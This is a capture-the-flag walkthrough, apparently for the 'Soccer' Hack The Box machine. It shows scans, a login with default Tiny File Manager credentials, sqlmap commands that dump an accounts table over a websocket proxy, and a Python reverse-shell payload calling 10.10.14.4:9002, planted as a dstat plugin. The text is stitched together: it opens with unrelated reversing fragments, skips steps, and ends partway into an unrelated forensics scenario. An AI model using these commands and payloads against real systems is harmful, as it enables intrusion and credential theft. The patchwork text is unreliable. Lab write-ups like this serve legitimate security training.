Initial Investigation


The interesting parts are we can see it is expected the password to be in the format HTB{something}
Reversing

There is a UD2 instruction and then disassembly stops.



Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-01 15:36 GMT
Nmap scan report for 10.10.11.194
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=3/1%Time=63FF711E%P=x86_64-pc-linux-gnu%r(inf
SF:ormix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\
SF:n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x2
SF:0close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\n
SF:Content-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Opt
SF:ions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCon
SF:tent-Length:\x20139\r\nDate:\x20Wed,\x2001\x20Mar\x202023\x2015:37:09\x
SF:20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=
SF:\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</h
SF:ead>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HTT
SF:POptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Poli
SF:cy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r
SF:\nDate:\x20Wed,\x2001\x20Mar\x202023\x2015:37:09\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<met
SF:a\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Ca
SF:nnot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HTT
SF:P/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-sr
SF:c\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20t
SF:ext/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Wed,\x
SF:2001\x20Mar\x202023\x2015:37:09\x20GMT\r\nConnection:\x20close\r\n\r\n<
SF:!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"ut
SF:f-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\x
SF:20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r
SF:(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnecti
SF:on:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.65 seconds
We find port 22, 80 and 9091 open. Let's do some further enumeration on port 80.
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
We find the domain, let's add it to our hosts file and continue our investigation.
There isn't a lot on the domain, seems to just be a static site with some football information. Let's use gobuster to see if we can find something interesting.
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soccer.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/03/01 16:07:48 Starting gobuster in directory enumeration mode
===============================================================
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
We have a directory called "tiny". We find that this is a file manager with a login. A quick search reveals some default credentials:
https://tinyfilemanager.github.io/docs/
Default creds:
admin/admin@123
user/12345
Luckily, the admin creds work and we're in!
Not in my screenshot is the Tiny FM version which is 2.4.3. Back to the research table we find that 2.4.3 has a vulnerability!
"A Path traversal vulnerability in the file upload functionality in tinyfilemanager.php in Tiny File Manager Project's Tiny File Manager <= 2.4.6 allows remote attackers with valid user accounts to upload malicious PHP files to the webroot and achieve code execution on the target server."
https://github.com/febinrev/tinyfilemanager-2.4.3-exploit
Unfortunately the POC doesn't work in this instance but it does reveal that the exploit exists.
┌──(kali㉿kali)-[~]
└─$ ./exploit.sh http://soccer.htb/tiny/tinyfilemanager.php admin "admin@123"
/usr/bin/curl
[✔] Curl found!
/usr/bin/jq
[✔] jq found!
[+] Login Success! Cookie: filemanager=n8tbi19hj6jbq1lr9c0cj8a33k
[*] Try to Leak Web root directory path
[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : /var/www/html/tiny/
[-] File Upload Unsuccessful! Exiting!
The problem was with the upload, and we don't have the correct permissions to upload to the location the script attempts. We're going to go manual!
First let's find a location we can upload to and prove that it works.
We have a shell as www-data! We can make this a little more pleasant using
python3 -c "import pty; pty.spawn('/bin/bash')"
I must admit, I was stuck now as the account didn't have much access. Being still new to this I had to do a lot of research into nginx and I found out there is a folder which contains a config file. Within this conf file is mention of the sites-enabled location so I pivot to look in there. We find a new site called soc-player.soccer.htb, add it to our hosts file and let's go take a look.
Let's view the page source code
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {
var btn = document.getElementById('btn');
var input = document.getElementById('id');
ws.onopen = function (e) {
console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
keyOne(e)
});
function keyOne(e) {
e.stopPropagation();
if (e.keyCode === 13) {
e.preventDefault();
sendText();
}
}
function sendText() {
var msg = input.value;
if (msg.length > 0) {
ws.send(JSON.stringify({
"id": msg
}))
}
else append("????????")
}
}
ws.onmessage = function (e) {
append(e.data)
}
function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}
From this code we can see now exactly how it works. But how to exploit? After another big session of researching I found https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html which goes into detail on how to conduct SQL injection over a websocket. I grabbed the script and made the required edits and set up the proxy.
We can then send sqlmap through the proxy to do it's work. Note that sqlmap through this proxy will take a very long time! I recommend making sure it is running and then leaving it for 10-15 minutes and do something else.
sqlmap -u "http://127.0.0.1:8081/?id=1" --batch --dbs - this was used first to get some enumeration on the database.
sqlmap -u "http://127.0.0.1:8081/?id=1" --dbms mysql --dbs --threads 10 -p id -D soccer_db -T accounts -C username,password -dump-all - this was then the dump.
We can now log in through SSH and get the user flag!
/usr/local/share/dstat/ , create a new module called dstat_<whatever>.py with the payload
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
Scenario One of the Desktops in the research lab at Organization X is suspected to have been accessed by someone unauthorized. Although the...